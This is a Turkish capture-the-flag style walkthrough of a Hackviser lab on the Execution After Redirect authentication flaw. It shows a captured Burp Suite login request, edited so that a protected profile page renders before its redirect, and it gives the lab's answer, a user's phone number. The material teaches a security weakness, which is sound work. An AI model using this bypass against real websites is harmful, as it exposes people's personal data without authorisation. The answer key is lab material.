

EXECUTION AFTER REDIRECT(EAR) WRITE-UP

Bu yazımda sizlere Hackviser platformu üzerinde bulunan Web Lab kısmı altında Broken Authentication zafiyetinin Execution After Redirect(EAR) labının çözümünü anlatacağım.

SENARYO: Bu laboratuvar Execution After Redirect (EAR) zafiyeti içermektedir.

Laboratuvarı tamamlamak için, web sayfası yönlendirilmeden önce yüklenmesini durdurun ve içeriğini okuyun.

Hesabına izinsiz erişilen kullanıcının telefon numarası nedir?


ÇÖZÜM: Bu labı çözebilmemiz için Burp Suite programını kullanacağız. Bize senaryoda ipucunu vermiş. Giriş yapmayı deneyip Burp Suite’de bu isteği yakalayıp inceleme yapacağız.

```
1 POST /login.php HTTP/1.1
2 Host: leading-negative.europol.hackviser.space
3 Cookie: PHPSESSID=qfrbhavf92fq2tpn9L2ifa97sb
4 Content-Length: 27
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Linux"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://leading-negative.europol.hackviser.space
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/122.0.6261.112 Safari/537.36
13 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/s
    igned-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://leading-negative.europol.hackviser.space/login.php
19 Accept-Encoding: gzip, deflate, br
20 Accept-Language: en-US,en;q=0.9
21 Priority: u=0, i
22 Connection: close
23
24 username=test&password=test
```

Bizi böyle bir şey karşıladı. Bunu render edince giriş başarısız diyor. Burada en üst satırda POST’un hemen yanında /login.php var. Burayı silip render etmeyi deneyeceğim.

```
1 POST / HTTP/1.1
2 Host: leading-negative.europol.hackviser.space
```

Bu şekilde yaptıktan sonra render edelim.



Fionnula Espinas
admin@bespinash.hv

Logout

Profile Settings

Name	Fionnula	Surname	Espinas
Mobile Number	705-491-1388		
Address	1835 Green Crossing		
Postcode	45678		
Email	admin@bespinash.hv		

Ve cevaba böylelikle erişmiş olduk.

Cevap: **705-491-1388**